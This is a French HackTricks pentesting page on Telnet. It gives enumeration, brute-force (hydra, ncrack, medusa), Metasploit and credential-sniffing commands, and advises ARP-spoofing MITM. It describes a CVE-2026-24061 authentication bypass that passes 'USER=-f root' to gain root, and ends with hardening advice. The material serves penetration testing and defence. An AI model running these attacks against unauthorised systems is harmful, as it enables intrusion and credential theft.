23 - Pentesting Telnet
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Telnet est un protocole réseau qui offre aux utilisateurs un moyen non sécurisé d’accéder à un ordinateur via un réseau.
Port par défaut : 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
Toute l’énumération intéressante peut être effectuée avec nmap :
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Le script telnet-ntlm-info.nse obtiendra des informations NTLM (versions de Windows).
From the telnet RFC: Dans le protocole TELNET, il existe diverses “options” qui peuvent être acceptées et utilisées avec la structure “DO, DON’T, WILL, WON’T” pour permettre au client et au serveur de se mettre d’accord sur un ensemble de conventions plus élaboré (ou simplement différent) pour leur connexion TELNET. De telles options peuvent inclure le changement du jeu de caractères, du mode echo, etc.
Je sais qu’il est possible d’énumérer ces options mais je ne sais pas comment, donc dites-moi si vous savez comment.
Énumérer les options / fonctionnalités Telnet
Telnet utilise des négociations IAC + DO/DONT/WILL/WONT pour activer des options. Vous pouvez observer les options supportées en capturant la négociation initiale et en sondant des fonctionnalités spécifiques.
Nmap option/feature probes
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
Le script telnet-encryption vérifie si l’option ENCRYPT est prise en charge ; certaines implémentations ont historiquement mal géré cette option et étaient vulnérables, mais le script vérifie seulement la prise en charge.
telnet-ntlm-info divulgue des métadonnées NTLM (NetBIOS/DNS/OS build) lorsque Microsoft Telnet NTLM est activé.
telnet-brute est un auditeur NSE de brute-force pour Telnet.
Brute force
Fichier de configuration
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Commandes automatiques
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Vulnérabilités récentes (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860) : une validation d’entrée incorrecte dans le service Telnet permet à des attaquants distants de se connecter en utilisant des hard-coded credentials et d’injecter des OS commands ; corrigé par le firmware 1.04B05 ou ultérieur.
- CVE-2023-40478 – NETGEAR RAX30 : Stack-based buffer overflow dans le Telnet CLI
passwdcommand permet l’exécution de code network-adjacent en tant que root ; une authentification est requise mais peut être contournée. - CVE-2022-39028 – GNU inetutils telnetd : une séquence de deux octets (
0xff 0xf7/0xff 0xf8) peut déclencher un NULL-pointer dereference danstelnetd, et des plantages répétés peuvent amener inetd à désactiver le service (DoS).
Gardez ces CVE à l’esprit lors du triage des vulnérabilités — si la cible exécute un firmware non corrigé ou un inetutils Telnet daemon legacy, vous pouvez avoir un chemin direct vers une exécution de code ou un DoS disruptif.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
Résumé : telnetd dans GNU Inetutils jusqu’à 2.7 permet un contournement d’authentification à distance via une valeur de la variable d’environnement USER égale à -f root, entraînant un accès root sans authentification.
Cause racine : argument injection (CWE-88) parce que telnetd transmet la variable d’environnement USER fournie par le client à login sans la sanitiser.
Périmètre : GNU Inetutils telnetd versions 1.9.3–2.7 sont affectées (publié 21 janvier 2026).
Mitigations
- Appliquez les correctifs / mettez à jour les paquets affectés immédiatement (par ex., les correctifs Debian sont dans
2:2.4-2+deb12u2,2:2.6-3+deb13u1, et2:2.7-2). - Désactiver Telnet ou restreindre l’accès aux réseaux de gestion de confiance pendant le déploiement des correctifs.
Sniffing Credentials & Man-in-the-Middle
Telnet transmet tout, y compris les credentials, en clear-text. Deux façons rapides de les capturer :
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Pour un MITM actif, combinez ARP spoofing (par exemple arpspoof/ettercap) avec les mêmes filtres de sniffing pour collecter des mots de passe sur des réseaux commutés.
Brute-force automatisé / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Most IoT botnets (Mirai variants) still scan port 23 with small default-credential dictionaries—mirroring that logic can quickly identify weak devices.
Exploitation & Post-Exploitation
Metasploit has several useful modules:
auxiliary/scanner/telnet/telnet_version– énumération de bannières et d’options.auxiliary/scanner/telnet/brute_telnet– bruteforce multithread.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE contre Telnet vulnérable sur Solaris 9/10 (gestion de l’option ENCRYPT).exploit/linux/mips/netgear_telnetenable– active le service telnet avec un paquet crafté sur de nombreux routeurs NETGEAR.
Après obtention d’un shell, souvenez-vous que les TTYs sont généralement peu sophistiqués ; améliorez-le avec python -c 'import pty;pty.spawn("/bin/bash")' ou utilisez les HackTricks TTY tricks.
Hardening & Detection (Blue team corner)
- Préférez SSH et désactivez complètement le service Telnet.
- Si Telnet est requis, liez-le uniquement aux management VLANs, appliquez des ACLs et encapsulez le démon avec des TCP wrappers (
/etc/hosts.allow). - Remplacez les implémentations legacy de
telnetdparssl-telnetoutelnetd-sslpour ajouter du chiffrement de transport, mais cela protège seulement les données en transit — le guessing de mots de passe reste trivial. - Surveillez le trafic sortant vers le port 23 ; les compromissions lancent souvent des reverse shells via Telnet pour contourner des filtres egress HTTP stricts.
References
- D-Link Advisory – CVE-2024-45698 Critical Telnet RCE.
- NVD – CVE-2022-39028 inetutils
telnetdDoS. - NVD – CVE-2026-24061.
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061).
- Debian Security Tracker – CVE-2026-24061 fixed versions.
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


